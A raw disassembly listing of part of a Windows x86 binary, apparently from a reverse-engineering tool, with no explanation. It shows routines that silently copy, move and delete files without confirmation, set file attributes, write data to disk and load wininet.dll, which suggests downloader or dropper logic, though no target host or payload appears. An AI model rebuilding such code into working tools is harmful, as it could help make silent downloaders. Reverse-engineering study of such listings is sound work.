jle short loc_421B5E
mov ecx, [ebp+arg_C]
sub ecx, 1
mov [ebp+arg_C], ecx
cmp [ebp+arg_C], 0
jnz short loc_421B5E
jmp short loc_421B60
; ---------------------------------------------------------------------------
loc_421B5E: ; CODE XREF: sub_421ACF+7Cj
; sub_421ACF+8Bj
jmp short loc_421B00
; ---------------------------------------------------------------------------
loc_421B60: ; CODE XREF: sub_421ACF+3Cj
; sub_421ACF+8Dj
push offset a8b ; "8B"
mov ecx, [ebp+arg_0]
call sub_43178A
mov edx, [ebp+var_2004]
or edx, 1
mov [ebp+var_2004], edx
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn 10h
sub_421ACF endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 230h
push edi
mov al, ds:byte_439C78
mov [ebp-230h], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-22Fh]
rep stosd
stosb
mov cl, ds:byte_439C7C
mov [ebp-108h], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp-107h]
rep stosd
stosb
push 104h
mov edx, [ebp+8]
push edx
lea eax, [ebp-230h]
push eax
call sub_422680
add esp, 0Ch
push 104h
mov ecx, [ebp+0Ch]
push ecx
lea edx, [ebp-108h]
push edx
call sub_422680
add esp, 0Ch
lea eax, [ebp-230h]
push eax
call sub_4221DB
add esp, 4
cmp eax, 1
jnz short loc_421C24
push 10000000h
call dword_433078 ; RtlSetLastWin32Error
xor eax, eax
jmp short loc_421C8D
; ---------------------------------------------------------------------------
loc_421C24: ; CODE XREF: TEUm:00421C13j
push 1Eh
push 0
lea ecx, [ebp-128h]
push ecx
call sub_4318B2 ; memset
add esp, 0Ch
lea edx, [ebp-230h]
mov [ebp-120h], edx
lea eax, [ebp-108h]
mov [ebp-11Ch], eax
mov dword ptr [ebp-124h], 2
mov word ptr [ebp-118h], 80h
cmp dword ptr [ebp+10h], 0
jz short loc_421C7B
mov cx, [ebp-118h]
or cx, 210h
mov [ebp-118h], cx
loc_421C7B: ; CODE XREF: TEUm:00421C66j
lea edx, [ebp-128h]
push edx
call dword_433288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
loc_421C8D: ; CODE XREF: TEUm:00421C22j
pop edi
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421C92 proc near ; CODE XREF: sub_422C48+18Ep
; sub_422C48+1F1p ...
var_140 = dword ptr -140h
var_13C = byte ptr -13Ch
var_13B = byte ptr -13Bh
var_34 = byte ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = word ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_421C92
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 130h
push ebx
push esi
push edi
mov [ebp+var_10], esp
mov al, ds:byte_439C80
mov [ebp+var_13C], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp+var_13B]
rep stosd
stosb
push 104h
mov ecx, [ebp+arg_0]
push ecx
lea edx, [ebp+var_13C]
push edx
call sub_422680
add esp, 0Ch
lea eax, [ebp+var_13C]
push eax
call sub_4221DB
add esp, 4
cmp eax, 1
jnz short loc_421D0D
push 10000000h
call dword_433078 ; RtlSetLastWin32Error
xor eax, eax
jmp short loc_421D79
; ---------------------------------------------------------------------------
loc_421D0D: ; CODE XREF: sub_421C92+6Aj
push 1Eh
push 0
lea ecx, [ebp+var_34]
push ecx
call sub_4318B2 ; memset
add esp, 0Ch
lea edx, [ebp+var_13C]
mov [ebp+var_2C], edx
mov [ebp+var_30], 3
mov [ebp+var_24], 694h
mov [ebp+var_14], 0FFFFFFFFh
mov [ebp+var_4], 0
push 1Eh
call dword_4330E0 ; Sleep
lea eax, [ebp+var_34]
push eax
call dword_433288 ; SHFileOperationA
mov [ebp+var_14], eax
jmp short loc_421D69
; ---------------------------------------------------------------------------
mov ecx, [ebp+var_140]
call sub_431790
mov eax, offset loc_421D69
retn
; ---------------------------------------------------------------------------
loc_421D69: ; CODE XREF: sub_421C92+C4j
; DATA XREF: sub_421C92+D1o
mov [ebp+var_4], 0FFFFFFFFh
xor eax, eax
cmp [ebp+var_14], 0
setz al
loc_421D79: ; CODE XREF: sub_421C92+79j
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_421C92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D8A proc near ; CODE XREF: sub_422C48+16Dp
; sub_424606+1B7p ...
var_230 = byte ptr -230h
var_22F = byte ptr -22Fh
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = word ptr -118h
var_108 = byte ptr -108h
var_107 = byte ptr -107h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 230h
push edi
mov al, ds:byte_439C84
mov [ebp+var_230], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp+var_22F]
rep stosd
stosb
mov cl, ds:byte_439C88
mov [ebp+var_108], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp+var_107]
rep stosd
stosb
push 104h
mov edx, [ebp+arg_0]
push edx
lea eax, [ebp+var_230]
push eax
call sub_422680
add esp, 0Ch
push 104h
mov ecx, [ebp+arg_4]
push ecx
lea edx, [ebp+var_108]
push edx
call sub_422680
add esp, 0Ch
lea eax, [ebp+var_230]
push eax
call sub_4221DB
add esp, 4
cmp eax, 1
jnz short loc_421E1E
push 10000000h
call dword_433078 ; RtlSetLastWin32Error
xor eax, eax
jmp short loc_421E81
; ---------------------------------------------------------------------------
loc_421E1E: ; CODE XREF: sub_421D8A+83j
push 1Eh
push 0
lea ecx, [ebp+var_128]
push ecx
call sub_4318B2 ; memset
add esp, 0Ch
lea edx, [ebp+var_230]
mov [ebp+var_120], edx
lea eax, [ebp+var_108]
mov [ebp+var_11C], eax
mov [ebp+var_124], 4
mov [ebp+var_118], 80h
mov cx, [ebp+var_118]
or cx, 614h
mov [ebp+var_118], cx
lea edx, [ebp+var_128]
push edx
call dword_433288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
loc_421E81: ; CODE XREF: sub_421D8A+92j
pop edi
mov esp, ebp
pop ebp
retn
sub_421D8A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 230h
push edi
mov al, ds:byte_439C8C
mov [ebp-230h], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-22Fh]
rep stosd
stosb
mov cl, ds:byte_439C90
mov [ebp-108h], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp-107h]
rep stosd
stosb
push 104h
mov edx, [ebp+8]
push edx
lea eax, [ebp-230h]
push eax
call sub_422680
add esp, 0Ch
push 104h
mov ecx, [ebp+0Ch]
push ecx
lea edx, [ebp-108h]
push edx
call sub_422680
add esp, 0Ch
push 1Eh
push 0
lea eax, [ebp-128h]
push eax
call sub_4318B2 ; memset
add esp, 0Ch
lea ecx, [ebp-230h]
mov [ebp-120h], ecx
lea edx, [ebp-108h]
mov [ebp-11Ch], edx
mov dword ptr [ebp-124h], 2
cmp dword ptr [ebp+10h], 0
jz short loc_421F44
mov ax, [ebp-118h]
or ax, 210h
mov [ebp-118h], ax
loc_421F44: ; CODE XREF: TEUm:00421F30j
lea ecx, [ebp-128h]
push ecx
call dword_433288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
pop edi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 234h
push edi
mov al, ds:byte_439C94
mov [ebp-234h], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-233h]
rep stosd
stosb
push 104h
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-234h]
push edx
call sub_422680
add esp, 0Ch
push 1Eh
push 0
lea eax, [ebp-24h]
push eax
call sub_4318B2 ; memset
add esp, 0Ch
lea ecx, [ebp-234h]
mov [ebp-1Ch], ecx
mov dword ptr [ebp-20h], 3
cmp dword ptr [ebp+0Ch], 0
jz short loc_421FCB
mov dx, [ebp-14h]
or dx, 210h
mov [ebp-14h], dx
loc_421FCB: ; CODE XREF: TEUm:00421FBCj
mov al, ds:byte_439C98
mov [ebp-12Ch], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-12Bh]
rep stosd
lea ecx, [ebp-12Ch]
push ecx
push 104h
call dword_43302C ; GetCurrentDirectoryA
mov dword ptr [ebp-4], 1
loc_421FFE: ; CODE XREF: TEUm:00422030j
cmp dword ptr [ebp-4], 0
jz short loc_422032
lea edx, [ebp-234h]
push edx
lea eax, [ebp-12Ch]
push eax
call sub_42239F
add esp, 8
test eax, eax
jnz short loc_422032
lea ecx, [ebp-12Ch]
push ecx
call sub_422296
add esp, 4
mov [ebp-4], eax
jmp short loc_421FFE
; ---------------------------------------------------------------------------
loc_422032: ; CODE XREF: TEUm:00422002j
; TEUm:0042201Cj
lea edx, [ebp-24h]
push edx
call dword_433288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
pop edi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 33Ch
push edi
mov al, ds:byte_439C9C
mov [ebp-33Ch], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-33Bh]
rep stosd
stosb
mov cl, ds:byte_439CA0
mov [ebp-108h], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp-107h]
rep stosd
stosb
push 104h
mov edx, [ebp+8]
push edx
lea eax, [ebp-33Ch]
push eax
call sub_422680
add esp, 0Ch
push 104h
mov ecx, [ebp+0Ch]
push ecx
lea edx, [ebp-108h]
push edx
call sub_422680
add esp, 0Ch
push 1Eh
push 0
lea eax, [ebp-12Ch]
push eax
call sub_4318B2 ; memset
add esp, 0Ch
lea ecx, [ebp-33Ch]
mov [ebp-124h], ecx
lea edx, [ebp-108h]
mov [ebp-120h], edx
mov dword ptr [ebp-128h], 1
cmp dword ptr [ebp+10h], 0
jz short loc_422104
mov ax, [ebp-11Ch]
or ax, 210h
mov [ebp-11Ch], ax
loc_422104: ; CODE XREF: TEUm:004220F0j
mov cl, ds:byte_439CA4
mov [ebp-234h], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp-233h]
rep stosd
lea edx, [ebp-234h]
push edx
push 104h
call dword_43302C ; GetCurrentDirectoryA
mov dword ptr [ebp-10Ch], 1
loc_42213B: ; CODE XREF: TEUm:00422180j
cmp dword ptr [ebp-10Ch], 0
jz short loc_422182
lea eax, [ebp-33Ch]
push eax
lea ecx, [ebp-234h]
push ecx
call sub_42239F
add esp, 8
test eax, eax
jnz short loc_422182
push 0
call sub_422296
add esp, 4
mov [ebp-10Ch], eax
lea edx, [ebp-234h]
push edx
push 104h
call dword_43302C ; GetCurrentDirectoryA
jmp short loc_42213B
; ---------------------------------------------------------------------------
loc_422182: ; CODE XREF: TEUm:00422142j
; TEUm:0042215Cj
lea eax, [ebp-12Ch]
push eax
call dword_433288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
pop edi
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422199 proc near ; CODE XREF: sub_424A2E+Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
mov eax, [ebp+arg_0]
push eax
call dword_433030 ; CreateDirectoryA
pop ebp
retn
sub_422199 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call dword_433034 ; RemoveDirectoryA
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call dword_433038 ; SetFileAttributesA
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call dword_43303C ; GetFileAttributesA
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4221DB proc near ; CODE XREF: TEUm:00421C08p
; sub_421C92+5Fp ...
var_144 = dword ptr -144h
var_140 = dword ptr -140h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 144h
push 140h
push 0
lea eax, [ebp+var_140]
push eax
call sub_4318B2 ; memset
add esp, 0Ch
lea ecx, [ebp+var_140]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_433044 ; FindFirstFileA
mov [ebp+var_144], eax
cmp [ebp+var_144], 0FFFFFFFFh
jnz short loc_42221E
xor eax, eax
jmp short loc_422292
; ---------------------------------------------------------------------------
loc_42221E: ; CODE XREF: sub_4221DB+3Dj
mov eax, [ebp+var_140]
or al, 10h
cmp [ebp+var_140], eax
jnz short loc_422280
loc_42222E: ; CODE XREF: sub_4221DB:loc_42226Aj
lea ecx, [ebp+var_140]
push ecx
mov edx, [ebp+var_144]
push edx
call dword_433080 ; FindNextFileA
test eax, eax
jz short loc_42226C
mov eax, [ebp+var_140]
or al, 10h
cmp [ebp+var_140], eax
jz short loc_42226A
mov ecx, [ebp+var_144]
push ecx
call dword_43307C ; FindClose
mov eax, 2
jmp short loc_422292
; ---------------------------------------------------------------------------
loc_42226A: ; CODE XREF: sub_4221DB+79j
jmp short loc_42222E
; ---------------------------------------------------------------------------
loc_42226C: ; CODE XREF: sub_4221DB+69j
mov edx, [ebp+var_144]
push edx
call dword_43307C ; FindClose
mov eax, 1
jmp short loc_422292
; ---------------------------------------------------------------------------
loc_422280: ; CODE XREF: sub_4221DB+51j
mov eax, [ebp+var_144]
push eax
call dword_43307C ; FindClose
mov eax, 2
loc_422292: ; CODE XREF: sub_4221DB+41j
; sub_4221DB+8Dj ...
mov esp, ebp
pop ebp
retn
sub_4221DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422296 proc near ; CODE XREF: TEUm:00422025p
; TEUm:00422160p
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 110h
push edi
mov al, ds:byte_439CA8
mov [ebp+var_10C], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp+var_10B]
rep stosd
lea ecx, [ebp+var_10C]
push ecx
push 104h
call dword_43302C ; GetCurrentDirectoryA
lea edx, [ebp+var_10C]
push edx
call sub_422435
add esp, 4
movsx eax, al
test eax, eax
jz short loc_4222E9
xor eax, eax
jmp loc_42239A
; ---------------------------------------------------------------------------
loc_4222E9: ; CODE XREF: sub_422296+4Aj
lea ecx, [ebp+var_10C]
push ecx
call sub_4318BE ; strlen
add esp, 4
mov [ebp+var_110], eax
mov edx, [ebp+var_110]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_422315
; ---------------------------------------------------------------------------
loc_42230C: ; CODE XREF: sub_422296:loc_42237Dj
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_422315: ; CODE XREF: sub_422296+74j
cmp [ebp+var_4], 0
jl short loc_42237F
mov ecx, [ebp+var_4]
movsx edx, [ebp+ecx+var_10C]
cmp edx, 5Ch
jnz short loc_42237D
mov eax, [ebp+var_4]
mov [ebp+eax+var_10C], 0
cmp [ebp+arg_0], 0
jz short loc_42234F
lea ecx, [ebp+var_10C]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4318B8 ; strcpy
add esp, 8
loc_42234F: ; CODE XREF: sub_422296+A4j
lea eax, [ebp+var_10C]
push eax
call sub_422435
add esp, 4
movsx ecx, al
test ecx, ecx
jz short loc_422369
xor eax, eax
jmp short loc_42239A
; ---------------------------------------------------------------------------
loc_422369: ; CODE XREF: sub_422296+CDj
lea edx, [ebp+var_10C]
push edx
call dword_433048 ; SetCurrentDirectoryA
mov eax, 1
jmp short loc_42239A
; ---------------------------------------------------------------------------
loc_42237D: ; CODE XREF: sub_422296+93j
jmp short loc_42230C
; ---------------------------------------------------------------------------
loc_42237F: ; CODE XREF: sub_422296+83j
cmp [ebp+arg_0], 0
jz short loc_422398
lea eax, [ebp+var_10C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4318B8 ; strcpy
add esp, 8
loc_422398: ; CODE XREF: sub_422296+EDj
xor eax, eax
loc_42239A: ; CODE XREF: sub_422296+4Ej
; sub_422296+D1j ...
pop edi
mov esp, ebp
pop ebp
retn
sub_422296 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42239F proc near ; CODE XREF: TEUm:00422012p
; TEUm:00422152p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov eax, [ebp+arg_0]
push eax
call sub_4318BE ; strlen
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
push ecx
call sub_4318BE ; strlen
add esp, 4
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
sub edx, 1
cmp [ebp+var_4], edx
jb short loc_4223D3
xor eax, eax
jmp short loc_422430
; ---------------------------------------------------------------------------
loc_4223D3: ; CODE XREF: sub_42239F+2Ej
mov [ebp+var_8], 0
jmp short loc_4223E5
; ---------------------------------------------------------------------------
loc_4223DC: ; CODE XREF: sub_42239F:loc_42241Dj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_4223E5: ; CODE XREF: sub_42239F+3Bj
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jnb short loc_42241F
mov edx, [ebp+arg_0]
add edx, [ebp+var_8]
movsx eax, byte ptr [edx]
push eax
call dword_4331F4 ; toupper
add esp, 4
mov esi, eax
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
push edx
call dword_4331F4 ; toupper
add esp, 4
cmp esi, eax
jz short loc_42241D
xor eax, eax
jmp short loc_422430
; ---------------------------------------------------------------------------
loc_42241D: ; CODE XREF: sub_42239F+78j
jmp short loc_4223DC
; ---------------------------------------------------------------------------
loc_42241F: ; CODE XREF: sub_42239F+4Cj
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
movsx ecx, byte ptr [eax]
xor eax, eax
cmp ecx, 5Ch
setz al
loc_422430: ; CODE XREF: sub_42239F+32j
; sub_42239F+7Cj
pop esi
mov esp, ebp
pop ebp
retn
sub_42239F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422435 proc near ; CODE XREF: sub_422296+3Dp
; sub_422296+C0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call sub_4318BE ; strlen
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 2
jl short loc_422454
cmp [ebp+var_4], 3
jle short loc_422458
loc_422454: ; CODE XREF: sub_422435+17j
xor al, al
jmp short loc_4224B1
; ---------------------------------------------------------------------------
loc_422458: ; CODE XREF: sub_422435+1Dj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
push edx
call dword_4331F4 ; toupper
add esp, 4
cmp eax, 41h
jl short loc_422482
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call dword_4331F4 ; toupper
add esp, 4
cmp eax, 5Ah
jle short loc_422486
loc_422482: ; CODE XREF: sub_422435+36j
xor al, al
jmp short loc_4224B1
; ---------------------------------------------------------------------------
loc_422486: ; CODE XREF: sub_422435+4Bj
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+1]
cmp eax, 3Ah
jz short loc_422496
xor al, al
jmp short loc_4224B1
; ---------------------------------------------------------------------------
loc_422496: ; CODE XREF: sub_422435+5Bj
cmp [ebp+var_4], 3
jnz short loc_4224AC
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx+2]
cmp edx, 5Ch
jz short loc_4224AC
xor al, al
jmp short loc_4224B1
; ---------------------------------------------------------------------------
loc_4224AC: ; CODE XREF: sub_422435+65j
; sub_422435+71j
mov eax, [ebp+arg_0]
mov al, [eax]
loc_4224B1: ; CODE XREF: sub_422435+21j
; sub_422435+4Fj ...
mov esp, ebp
pop ebp
retn
sub_422435 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4224B5 proc near ; CODE XREF: TEUm:0042257Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov eax, [ebp+arg_0]
push eax
call dword_4331D8 ; ftell
add esp, 4
mov [ebp+var_4], eax
push 2
push 0
mov ecx, [ebp+arg_0]
push ecx
call dword_4331F0 ; fseek
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
call dword_4331D8 ; ftell
add esp, 4
mov [ebp+var_8], eax
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4331F0 ; fseek
add esp, 0Ch
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_4224B5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_431D8C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
mov [ebp-34h], ecx
mov dword ptr [ebp-30h], 0
mov dword ptr [ebp-4], 1
lea ecx, [ebp-1Ch]
call sub_4317AE
mov byte ptr [ebp-4], 2
mov dword ptr [ebp-14h], 0
mov dword ptr [ebp-18h], 0
mov dword ptr [ebp-10h], 0
push offset aR_0 ; "r"
lea ecx, [ebp+0Ch]
call sub_4226A0
push eax
call dword_4331C4 ; fopen
add esp, 8
mov [ebp-24h], eax
cmp dword ptr [ebp-24h], 0
jz short loc_4225E0
mov eax, [ebp-24h]
push eax
mov ecx, [ebp-34h]
call sub_4224B5
mov [ebp-14h], eax
mov ecx, [ebp-14h]
push ecx
call dword_4331C8 ; malloc
add esp, 4
mov [ebp-10h], eax
mov dword ptr [ebp-28h], 0
jmp short loc_4225A9
; ---------------------------------------------------------------------------
loc_4225A0: ; CODE XREF: TEUm:004225BAj
mov edx, [ebp-28h]
add edx, 1
mov [ebp-28h], edx
loc_4225A9: ; CODE XREF: TEUm:0042259Ej
mov eax, [ebp-28h]
cmp eax, [ebp-14h]
jge short loc_4225BC
mov ecx, [ebp-10h]
add ecx, [ebp-28h]
mov byte ptr [ecx], 0Ah
jmp short loc_4225A0
; ---------------------------------------------------------------------------
loc_4225BC: ; CODE XREF: TEUm:004225AFj
mov edx, [ebp-24h]
push edx
push 1
mov eax, [ebp-14h]
push eax
mov ecx, [ebp-10h]
push ecx
call dword_433254 ; fread
add esp, 10h
mov edx, [ebp-24h]
push edx
call dword_4331D0 ; fclose
add esp, 4
loc_4225E0: ; CODE XREF: TEUm:00422576j
cmp dword ptr [ebp-10h], 0
jz short loc_422630
mov eax, [ebp-14h]
push eax
push 0
mov ecx, [ebp-10h]
push ecx
lea edx, [ebp-2Ch]
push edx
lea ecx, [ebp-20h]
call sub_421ACF
mov [ebp-38h], eax
mov eax, [ebp-38h]
mov [ebp-3Ch], eax
mov byte ptr [ebp-4], 3
mov ecx, [ebp-3Ch]
push ecx
lea ecx, [ebp-1Ch]
call sub_4317A8
mov byte ptr [ebp-4], 2
lea ecx, [ebp-2Ch]
call sub_4317A2
mov edx, [ebp-10h]
push edx
call dword_4331D4 ; free
add esp, 4
jmp short loc_42263D
; ---------------------------------------------------------------------------
loc_422630: ; CODE XREF: TEUm:004225E4j
push offset dword_439CAC
lea ecx, [ebp-1Ch]
call sub_43179C
loc_42263D: ; CODE XREF: TEUm:0042262Ej
lea eax, [ebp-1Ch]
push eax
mov ecx, [ebp+8]
call sub_431796
mov ecx, [ebp-30h]
or ecx, 1
mov [ebp-30h], ecx
mov byte ptr [ebp-4], 1
lea ecx, [ebp-1Ch]
call sub_4317A2
mov byte ptr [ebp-4], 0
lea ecx, [ebp+0Ch]
call sub_4317A2
mov eax, [ebp+8]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422680 proc near ; CODE XREF: TEUm:00421BE1p
; TEUm:00421BF9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_433200 ; _mbsnbcpy
add esp, 0Ch
pop ebp
retn
sub_422680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226A0 proc near ; CODE XREF: TEUm:00422560p
; sub_4266E9+1Dp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov eax, [eax]
mov esp, ebp
pop ebp
retn
sub_4226A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226B0 proc near ; CODE XREF: sub_422A1E+7Fp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4332CC
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4226B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226C7 proc near ; CODE XREF: sub_4229F0+Ap
; sub_422BB1+26p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4332CC
mov esp, ebp
pop ebp
retn
sub_4226C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226DB proc near ; CODE XREF: sub_422C48+A6p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_14], ecx
mov [ebp+var_8], 0
mov [ebp+var_4], 0
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_14]
call sub_4227A4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jbe loc_422798
cmp [ebp+arg_4], 0
jz short loc_422776
push 0
push 8000000h
push 2
push 0
push 0
push 40000000h
mov edx, [ebp+arg_4]
push edx
call dword_433018 ; CreateFileA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0FFFFFFFFh
jnz short loc_42273E
xor al, al
jmp short loc_42279E
; ---------------------------------------------------------------------------
loc_42273E: ; CODE XREF: sub_4226DB+5Dj
mov [ebp+var_C], 0
push 0
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_14]
mov eax, [edx+4]
push eax
mov ecx, [ebp+var_10]
push ecx
call dword_433050 ; WriteFile
mov edx, [ebp+var_10]
push edx
call dword_433020 ; CloseHandle
mov eax, [ebp+var_C]
cmp eax, [ebp+var_4]
jz short loc_422776
xor al, al
jmp short loc_42279E
; ---------------------------------------------------------------------------
loc_422776: ; CODE XREF: sub_4226DB+38j
; sub_4226DB+95j
mov ecx, [ebp+var_14]
cmp dword ptr [ecx+4], 0
jz short loc_422796
mov edx, [ebp+var_14]
mov eax, [edx+4]
push eax
call dword_43304C ; GlobalFree
mov ecx, [ebp+var_14]
mov dword ptr [ecx+4], 0
loc_422796: ; CODE XREF: sub_4226DB+A2j
jmp short loc_42279C
; ---------------------------------------------------------------------------
loc_422798: ; CODE XREF: sub_4226DB+2Ej
xor al, al
jmp short loc_42279E
; ---------------------------------------------------------------------------
loc_42279C: ; CODE XREF: sub_4226DB:loc_422796j
mov al, 1
loc_42279E: ; CODE XREF: sub_4226DB+61j
; sub_4226DB+99j ...
mov esp, ebp
pop ebp
retn 8
sub_4226DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227A4 proc near ; CODE XREF: sub_4226DB+22p
; sub_422F1F+35p
var_2034 = dword ptr -2034h
var_2030 = dword ptr -2030h
var_202C = dword ptr -202Ch
var_2028 = dword ptr -2028h
var_2024 = dword ptr -2024h
var_2020 = byte ptr -2020h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2034h
call sub_431860
mov [ebp+var_2034], ecx
cmp [ebp+arg_0], 0
jnz short loc_4227C4
xor eax, eax
jmp loc_4229EA
; ---------------------------------------------------------------------------
loc_4227C4: ; CODE XREF: sub_4227A4+17j
mov eax, [ebp+var_2034]
cmp dword ptr [eax+4], 0
jz short loc_4227ED
mov ecx, [ebp+var_2034]
mov edx, [ecx+4]
push edx
call dword_43304C ; GlobalFree
mov eax, [ebp+var_2034]
mov dword ptr [eax+4], 0
loc_4227ED: ; CODE XREF: sub_4227A4+2Aj
push offset aWininet_dll ; "wininet.dll"
call dword_4330DC ; LoadLibraryA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_422808
xor eax, eax
jmp loc_4229EA
; ---------------------------------------------------------------------------
loc_422808: ; CODE XREF: sub_4227A4+5Bj
